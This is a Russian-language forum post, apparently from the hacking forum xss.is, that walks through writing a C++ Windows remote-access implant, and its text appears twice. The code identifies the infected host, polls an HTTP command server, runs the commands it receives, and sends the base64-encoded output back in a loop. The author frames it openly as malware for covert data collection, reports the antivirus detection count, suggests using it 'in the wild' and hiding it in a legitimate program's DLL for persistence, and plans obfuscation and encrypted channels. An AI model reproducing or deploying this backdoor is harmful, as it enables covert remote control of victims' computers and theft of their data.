D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Автор: OMAR_HAYAT
Источник: https://xss.is
Всем привет!
Давно было желание прикоснуться к тайным знаниям великого и могучего С++. Только не попадалось интересной задачи для реализации. Учить по книжкам и статьям конечно очень позновательно, но не интересно. Поэтому требовалась какая то практическая задача. Решил попробовать сварганить неинтерактивный клиент с коннектом по HTTP и возможностью выполнять произвольные команды в среде Windows. Сказано, сделано!
Идея настолько простая, что даже не вижу смысла делать графическую схему. Клиент после запуска идентифицирует себя в системе и сообщает о себе серверу. Сервер проверяет кто это такой к нему припёрся. Если новенький, регит его у себя и выдаёт команду. Если старенький, всё равно выдаёт команду. Клиент выполняет полученную команду и отправляет результат на сервер. Сервер принимает результат (предварительно поняв что это именно результат отправленной команды), сохраняет его в лог и опять выдаёт команду.
Преимущества работы именно неинтерактивного клиентского приложения в деле скрытого сбора информации на мой взгляд очевидны. Мы можем настроить сервер на взаимодействие с кучей клиентов, собирать информацию и выполнять ещё кое-какие очевидные вещи полностью в автоматическом режиме с регулирумыми паузами между выполнением команд. Плюс логика наших действий будет храниться на сервере, а не в коде клиента.
К минусам я бы отнёс как раз написание серверной части. Для меня минус, так как клиент-серверные системы буду попробовать писать в первый раз. Её решил делать на PHP. Там всё предельно просто через if`ы и case`ы. Вариант простого скрипта для проверки работы кода клиента прилагаю в архиве.
План реализации клиента:
0х01. Собираем первичную информацию о системе в которой запустились (UUID);
0х02. Передаем эту информацию на сервер и получаем от сервера команду;
0х03. Выполняем команду, шифруем вывод команды;
0х04. Отправляем результат на сервер и засыпаем.
В лабораторных условиях результат работы выглядит так:
Давайте рассмотрим все этапы работы софта.
0х01. Собираем первичную инфррмацию о системе в которой запустились.
Когда наш зверёк запустился в системе, нам требуется как то идентифицировать этот запущенный экземпляр. Решил привязать его к UUID системы. Он постоянен и вроде как уникален. Поэтому при многократном запуске экземпляра клиента эта инфа в системе будет постоянна:
C++: Скопировать в буфер обмена
Для выполнения команды использовал _popen. Гугление показало что это наиболее удобный способ работы с результатом выполнения команды. Возможно есть варианты лучше. С удовольствием о них почитаю.
Конечно можно воспользоваться WinAPI и собрать нужную инфу применив вызовы определённых функций. В этом случае нарушится идея вынесения логики наших действий на сервер. Какая инфа будет собираться прогой будет написано в самой проге
С другой стороны может АВ будет более настороженно относится к коду с функцией _popen нежели к коду с вызовами функций WinAPI. Вопрос открытый. Интересно послушать мнение более опытных людей.
Кодирую вывод команды в base64 для простоты работы со строками. В выводе обычно есть разные '\n'. Чтобы с ними не мучатся при составление запроса на сервер, удобнее всё сразу закодировать и работать уже с такой формой.
0х02. Передаем эту информацию на сервер и получаем от сервера команду.
Соединение с сервером для простоты реализовал через HTTP. Интересно было бы в перспективе рассмотреть реализацию через HTTPS и DNS протоколы. Это оставлю на будущее.
Работа с вебом через C++ в эпоху питона оказалась весёлой затеей
Но я справился и нашёл такую реализацию: hXXps://github[.]com/shaovoon/winhttp_examples
Там есть хорошие примеры в которых легко разобратся.
C++: Скопировать в буфер обмена
Серверную часть реализовал так, что при получении такого запроса сервер возвращает клиенту команду для выполнения.
0х03. Выполняем команду, шифруем вывод команды.
0х04. Отправляем результат на сервер и засыпаем.
Объединим два раздела в один из-за цикла, который будет выполняться до тех пор, пока сервер не попросит программу завершиться.
C++: Скопировать в буфер обмена
Шифрование передаваемой в параметре info информации для простоты реализации выполнил через base64. Этот вопрос так же требует изучения и интересно попробовать реализации с другими алгоритмами шифрования. Как мне кажется тут достаточно будет симметричных алгоритмов. Хотя послушать иные мнения буду не против.
Функцию кодировки взял из заголовочного файла base64.h с этого поста xss[.]ru/threads/118221/. Респект <автору> за реализацию.
Временная задержка реализована через Sleep. Такое решение конечно так себе. Интересно будет попробовать реализовать таймер через время работы проги или что то подобное. Помниться такое работало на C когда приходилось работать с Arduino. Думаю в плюсах тоже должно получиться.
0х05. Детект АВ.
В этом вопросе решил пройти самым простым путём. Залил экзешник на ВТ. Всё равно требуются существенные дополнения кода. Думаю утечка этого бинаря будет не фатальна.
Как по мне результат более чем отличный. Сборку делал в MSVS 2022. Думаю даже в таком виде можно пробовать это изделие применять в "дикой природе".
Через некоторое время подчистил код. Закоментил все выводы инфы на экран через std::cout. Убрал ненужные инклуды, которые добавлял раньше для экспериментов. Отключил вывод консольного окна. Размер экзешника уменьшился на чуть чуть. Но и детектов стало не два, а три.
0х06. Вывод.
В первом приближении цель достигнута. Было реализованно в простом варианте соединение с сервером через HTTP, получение и выполнение команды и возврат результата выполнения на сервер. Размер экзешника получился порядка 200 КБ. Для "правосланой" малвари размер гигантский. Хотя если её не совать бинарником в какой то эксплойт, а пристоить динамической библиотекой к какой то легитимной проге, то можно попробовать для простого закрепления в системе.
Так же определился круг вопросов по улучшению текущей версии:
- уменьшение размера бинаря за счёт отказа от бибилиотек;
- работа с протоколами HTTPS, DNS и его собрат с шифрованием трафика;
- шифрование передаваемой инфы более интересными алгоритмами нежели base64;
- реализация таймера для управлением временными задержками в программе;
- добавить обфускацию строк.
Буду очень признателен если неравнодушные читатели поделяться своим опытом реализации вопросов затронутых в этой статье. Хотелось бы узнать альтарнативную точку зрения проверенную на практике. Особенно что касается взаимодействия клиента с сервером и наоборот. Я попытался предусмотреть случай разрыва связи с сервером. Только не знаю, достаточно такого или нет.
Пасс к архивам местный, закодированный base64.
Всем добра!
Источник: https://xss.is
Всем привет!
Давно было желание прикоснуться к тайным знаниям великого и могучего С++. Только не попадалось интересной задачи для реализации. Учить по книжкам и статьям конечно очень позновательно, но не интересно. Поэтому требовалась какая то практическая задача. Решил попробовать сварганить неинтерактивный клиент с коннектом по HTTP и возможностью выполнять произвольные команды в среде Windows. Сказано, сделано!
Идея настолько простая, что даже не вижу смысла делать графическую схему. Клиент после запуска идентифицирует себя в системе и сообщает о себе серверу. Сервер проверяет кто это такой к нему припёрся. Если новенький, регит его у себя и выдаёт команду. Если старенький, всё равно выдаёт команду. Клиент выполняет полученную команду и отправляет результат на сервер. Сервер принимает результат (предварительно поняв что это именно результат отправленной команды), сохраняет его в лог и опять выдаёт команду.
Преимущества работы именно неинтерактивного клиентского приложения в деле скрытого сбора информации на мой взгляд очевидны. Мы можем настроить сервер на взаимодействие с кучей клиентов, собирать информацию и выполнять ещё кое-какие очевидные вещи полностью в автоматическом режиме с регулирумыми паузами между выполнением команд. Плюс логика наших действий будет храниться на сервере, а не в коде клиента.
К минусам я бы отнёс как раз написание серверной части. Для меня минус, так как клиент-серверные системы буду попробовать писать в первый раз. Её решил делать на PHP. Там всё предельно просто через if`ы и case`ы. Вариант простого скрипта для проверки работы кода клиента прилагаю в архиве.
План реализации клиента:
0х01. Собираем первичную информацию о системе в которой запустились (UUID);
0х02. Передаем эту информацию на сервер и получаем от сервера команду;
0х03. Выполняем команду, шифруем вывод команды;
0х04. Отправляем результат на сервер и засыпаем.
В лабораторных условиях результат работы выглядит так:
Давайте рассмотрим все этапы работы софта.
0х01. Собираем первичную инфррмацию о системе в которой запустились.
Когда наш зверёк запустился в системе, нам требуется как то идентифицировать этот запущенный экземпляр. Решил привязать его к UUID системы. Он постоянен и вроде как уникален. Поэтому при многократном запуске экземпляра клиента эта инфа в системе будет постоянна:
C++: Скопировать в буфер обмена
Код:
// определяем UUID системы в которой запустились
FILE* p_uuid;
wchar_t crBuffer[BUFFER];
std::wstring str_uuid;
//команду определения UUID смотреть в дефайне: #define UUID "wmic path win32_computersystemproduct get uuid | findstr .-."
strcpy_s(command, UUID);
if ((p_uuid = _popen(command, "rt")) == NULL)
exit(1);
while (fgetws(crBuffer, BUFFER, p_uuid))
str_uuid += base64_encode(std::wstring(crBuffer));
int endOfFileVal = feof(p_uuid);
int closeReturnVal = _pclose(p_uuid);
if (endOfFileVal)
{
printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
printf("Error: Failed to read the pipe to the end.\n");
}
Для выполнения команды использовал _popen. Гугление показало что это наиболее удобный способ работы с результатом выполнения команды. Возможно есть варианты лучше. С удовольствием о них почитаю.
Конечно можно воспользоваться WinAPI и собрать нужную инфу применив вызовы определённых функций. В этом случае нарушится идея вынесения логики наших действий на сервер. Какая инфа будет собираться прогой будет написано в самой проге
Кодирую вывод команды в base64 для простоты работы со строками. В выводе обычно есть разные '\n'. Чтобы с ними не мучатся при составление запроса на сервер, удобнее всё сразу закодировать и работать уже с такой формой.
0х02. Передаем эту информацию на сервер и получаем от сервера команду.
Соединение с сервером для простоты реализовал через HTTP. Интересно было бы в перспективе рассмотреть реализацию через HTTPS и DNS протоколы. Это оставлю на будущее.
Работа с вебом через C++ в эпоху питона оказалась весёлой затеей
Там есть хорошие примеры в которых легко разобратся.
C++: Скопировать в буфер обмена
Код:
// подготовливаемся к отправке идентифицирующего запроса на сервер
data_for_server = data_for_script + L"&id=" + str_uuid + L"&info=";
using namespace WinHttpWrapper;
const std::wstring requestHeader = L"Content-Type: application/json";
bool https = false;
// требуемые параметры также определяем в дефайнах
HttpRequest req(SERVER, PORT, https);
HttpResponse response;
//делаем запрос на сервер
req.Get(data_for_server, L"", response);
// смотрим что улетело и что получили в ответ
std::wcout << "First request to server: " << SERVER << data_for_server << '\n';
std::cout << "First response server: " << response.text << '\n' << '\n';
Серверную часть реализовал так, что при получении такого запроса сервер возвращает клиенту команду для выполнения.
0х03. Выполняем команду, шифруем вывод команды.
0х04. Отправляем результат на сервер и засыпаем.
Объединим два раздела в один из-за цикла, который будет выполняться до тех пор, пока сервер не попросит программу завершиться.
C++: Скопировать в буфер обмена
Код:
//готовимся выпонять команду и принимать ее вывод
FILE* p_Out_command;
std::wstring str_out_command;
std::wstring str_out_command_base64;
//копируем команду из ответа сервера в переменную
if (response.text != "") {
strcpy_s(command, response.text.c_str());
}
else {
// если нет коннекта то завершаем работу проги
std::cout << "\nNo connect to server...\n";
exit(1);
}
//будем работать пока сервер не пришлёт команду на завершение работы
while (response.text != "q") {
//обнуляем строку с результатом выполнения команды
str_out_command = L"";
// выполняем требуемую команду
if ((p_Out_command = _popen(command, "rt")) == NULL)
exit(1);
// пишем вывод команды в строку
while (fgetws(crBuffer, BUFFER, p_Out_command))
str_out_command += std::wstring(crBuffer);
int endOfFileVal = feof(p_Out_command);
int closeReturnVal = _pclose(p_Out_command);
if (endOfFileVal)
{
printf("\nProcess returned %d\n", closeReturnVal);
}
else
{
printf("Error: Failed to read the pipe to the end.\n");
}
//кодируем строку
str_out_command_base64 = base64_encode(str_out_command);
// глядим на результат выполнения
std::wcout << "Result run command: " << str_out_command;
//обнулим ответ от сервера
response.Reset();
//отправляем результат вывода команды на сервер
std::wstring str_sec_req = data_for_script + L"&id=" + str_uuid + L"&info=" + str_out_command_base64;
//поглядим что хотим отправить серверу во второй раз
std::wcout << "Second request to server: " << str_sec_req << '\n';
//отправляем
req.Get(str_sec_req, L"", response);
// глядим что пришло в ответ
std::cout << "Second response server: " << response.text;
// анализируем ответ сервера
if (response.text == "s") {
//если сервер сказал что пора поспать, то делаем долгую задержку
std::cout << "\nSleep one minute.\n";
strcpy_s(command, "");
Sleep(60000);
}
else
{
// если спать не просили, значить надо выполнять команду, которую прислал сервер
strcpy_s(command, response.text.c_str());
std::cout << "\nSleep five sec. \n";
Sleep(5000);
}
}
Шифрование передаваемой в параметре info информации для простоты реализации выполнил через base64. Этот вопрос так же требует изучения и интересно попробовать реализации с другими алгоритмами шифрования. Как мне кажется тут достаточно будет симметричных алгоритмов. Хотя послушать иные мнения буду не против.
Функцию кодировки взял из заголовочного файла base64.h с этого поста xss[.]ru/threads/118221/. Респект <автору> за реализацию.
Временная задержка реализована через Sleep. Такое решение конечно так себе. Интересно будет попробовать реализовать таймер через время работы проги или что то подобное. Помниться такое работало на C когда приходилось работать с Arduino. Думаю в плюсах тоже должно получиться.
0х05. Детект АВ.
В этом вопросе решил пройти самым простым путём. Залил экзешник на ВТ. Всё равно требуются существенные дополнения кода. Думаю утечка этого бинаря будет не фатальна.
Как по мне результат более чем отличный. Сборку делал в MSVS 2022. Думаю даже в таком виде можно пробовать это изделие применять в "дикой природе".
Через некоторое время подчистил код. Закоментил все выводы инфы на экран через std::cout. Убрал ненужные инклуды, которые добавлял раньше для экспериментов. Отключил вывод консольного окна. Размер экзешника уменьшился на чуть чуть. Но и детектов стало не два, а три.
0х06. Вывод.
В первом приближении цель достигнута. Было реализованно в простом варианте соединение с сервером через HTTP, получение и выполнение команды и возврат результата выполнения на сервер. Размер экзешника получился порядка 200 КБ. Для "правосланой" малвари размер гигантский. Хотя если её не совать бинарником в какой то эксплойт, а пристоить динамической библиотекой к какой то легитимной проге, то можно попробовать для простого закрепления в системе.
Так же определился круг вопросов по улучшению текущей версии:
- уменьшение размера бинаря за счёт отказа от бибилиотек;
- работа с протоколами HTTPS, DNS и его собрат с шифрованием трафика;
- шифрование передаваемой инфы более интересными алгоритмами нежели base64;
- реализация таймера для управлением временными задержками в программе;
- добавить обфускацию строк.
Буду очень признателен если неравнодушные читатели поделяться своим опытом реализации вопросов затронутых в этой статье. Хотелось бы узнать альтарнативную точку зрения проверенную на практике. Особенно что касается взаимодействия клиента с сервером и наоборот. Я попытался предусмотреть случай разрыва связи с сервером. Только не знаю, достаточно такого или нет.
Пасс к архивам местный, закодированный base64.
Всем добра!